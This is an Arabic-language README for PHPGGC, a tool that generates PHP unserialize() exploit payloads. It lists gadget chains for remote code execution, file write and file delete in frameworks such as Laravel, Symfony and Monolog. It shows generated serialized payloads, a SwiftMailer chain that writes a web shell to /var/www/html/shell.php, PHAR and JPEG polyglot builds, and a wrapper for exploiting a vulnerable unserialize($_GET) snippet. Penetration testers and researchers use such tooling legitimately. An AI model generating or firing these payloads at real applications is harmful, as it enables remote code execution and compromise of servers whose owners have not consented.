
PHPGGC هي مكتبة من حمولات unserialize() الخاصة بـ PHP، بالإضافة إلى أداة لتوليدها، سواء من سطر الأوامر أو برمجيًا.
PHPGGC هي مكتبة من حمولات unserialize() بالإضافة إلى أداة لتوليدها، من سطر الأوامر أو برمجيًا.
عند مواجهة unserialize على موقع لا تملك كوده، أو ببساطة عند محاولة بناء استغلال، تتيح لك هذه الأداة توليد الحمولة دون الحاجة إلى المرور بالخطوات المملة للعثور على الأدوات ودمجها. يمكن اعتبارها المكافئ لـ frohoff's ysoserial، لكن بالنسبة لـ PHP.
حاليًا، تدعم الأداة سلاسل الأدوات مثل: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii وZendFramework.
يتطلب تشغيل PHPGGC إصدار PHP >= 5.6.
شغّل ./phpggc -l للحصول على قائمة بسلاسل الأدوات:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
تصفية سلاسل الأدوات:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
كل سلسلة أدوات تحتوي على:
unserialize (__destruct()، __toString()، offsetGet()، ...)استخدم -i للحصول على معلومات مفصلة حول سلسلة:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
بالنسبة لأدوات RCE، يمكن أن يكون للأمر المنفَّذ 3 أنواع من التنسيق اعتمادًا على كيفية عمل الأداة:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idبمجرد اختيار سلسلة، شغّل ./phpggc <gadget-chain> [parameters] للحصول على الحمولة.
على سبيل المثال، للحصول على حمولة لـ Monolog، يمكنك القيام بما يلي:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
لكتابة ملف باستخدام SwiftMailer، يمكنك القيام بما يلي:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
يتيح لك الخيار --wrapper (-w) تعريف ملف PHP يحتوي على الدوال التالية:
process_parameters(array $parameters): تُستدعى مباشرة قبل generate()، وتسمح بتغيير المعاملاتprocess_object(object $object): تُستدعى مباشرة قبل serialize()، وتسمح بتغيير الكائنprocess_serialized(string $serialized): تُستدعى مباشرة بعد serialize()، وتسمح بتغيير السلسلة المتسلسلةعلى سبيل المثال، إذا كان الكود الهش يبدو هكذا:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
يمكنك استخدام سلسلة __toString()، مع تغليفها على النحو التالي:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
وبعدها تستدعي phpggc كما يلي:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
في BlackHat US 2018، أصدر @s_n_t أداة PHARGGC، وهي فرع من PHPGGC يعمل، بدلاً من بناء حمولة متسلسلة، على بناء ملف PHAR كامل. يحتوي ملف PHAR هذا على بيانات متسلسلة، وبالتالي يمكن استخدامه لتقنيات استغلال متنوعة (file_exists, fopen, وغيرها). الورقة البحثية موجودة هنا.
تأتي أرشيفات PHAR بثلاثة تنسيقات مختلفة: PHAR، TAR، وZIP. التنسيقات الثلاثة مدعومة في PHPGGC.
يمكن توليد ملفات Polyglot باستخدام --phar-jpeg (-pj). تتوفر خيارات أخرى (استخدم -h).
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
تسمح الوسائط بتعديل طريقة إخراج الحمولة. على سبيل المثال، -u سيقوم بترميزها لـ URL، و-b سيحوّلها إلى base64.
غالبًا ما تحتوي الحمولات على بايتات NULL ولا يمكن نسخها ولصقها كما هي. استخدم -s لترميز URL معتدل، مما يُبقي الحمولة مقروءة.
يمكن سلسلة الترميزات، وبالتالي الترتيب مهم. على سبيل المثال، ./phpggc -b -u -u slim/rce1 system id سيحوّل الحمولة إلى base64، ثم يرمّزها لـ URL مرتين.